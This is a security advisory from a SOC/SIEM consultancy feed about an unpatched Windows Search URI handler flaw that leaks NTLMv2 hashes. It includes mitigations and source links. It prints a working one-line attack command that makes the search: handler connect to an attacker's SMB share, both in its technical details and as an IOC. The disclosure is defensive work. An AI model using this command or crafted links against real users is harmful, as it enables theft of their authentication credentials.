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SOC/SIEM Consultancy

Unpatched Windows Search URI Vulnerability Lets Attackers Steal NTLMv2 Hashes
Published:
3 June 2026 at 10:18:52
Alert date:
3 June 2026 at 11:00:50
Source:
thehackernews.com
Operating Systems, Zero-Day Vulnerabilities, Identity & Access
Cybersecurity researchers have disclosed an unpatched vulnerability in Windows Search URI handler that allows attackers to steal NTLMv2 hashes from users. The vulnerability is similar to CVE-2026-33829 which affected the Windows Snipping Tool's ms-screensketch URI handler. The newly discovered issue resides in the search: URI handler and represents a spoofing vulnerability that could expose sensitive authentication credentials to malicious actors.
Technical details
An unpatched vulnerability in Windows Search URI handler allows attackers to steal NTLMv2 hashes. Similar to CVE-2026-33829 in Windows Snipping Tool, this vulnerability exploits the search: URI handler using 'crumb=location:' parameter instead of 'filePath'. The URI handler fails to validate parameters and reaches out to any UNC path passed to it, triggering NTLM authentication and exposing the victim's Net-NTLMv2 hash. The attack uses the command format: start "" "search:query=test&crumb=location:\\10.0.1.100\share". Attackers can embed specially crafted links in web pages or email messages to induce users to click and connect to attacker-controlled SMB servers.
Mitigation steps:
Block outbound SMB (TCP/445 and TCP/139) on hosts that don't need it, enforce SMB signing so that captured hashes can't be relayed against internal services, and disable NTLM where applicable.
Affected products:
Windows Search URI handler
Windows Snipping Tool
Related links:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829
https://www.huntress.com/blog/unpatched-ntlm-leak-windows-search-uri-handler
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35636
https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes
Related CVE's:
Related threat actors:
IOC's:
start "" "search:query=test&crumb=location:\\10.0.1.100\share", search:, crumb=location:, SMB server connections, TCP/445, TCP/139
This article was created with the assistance of AI technology by Perceptive.
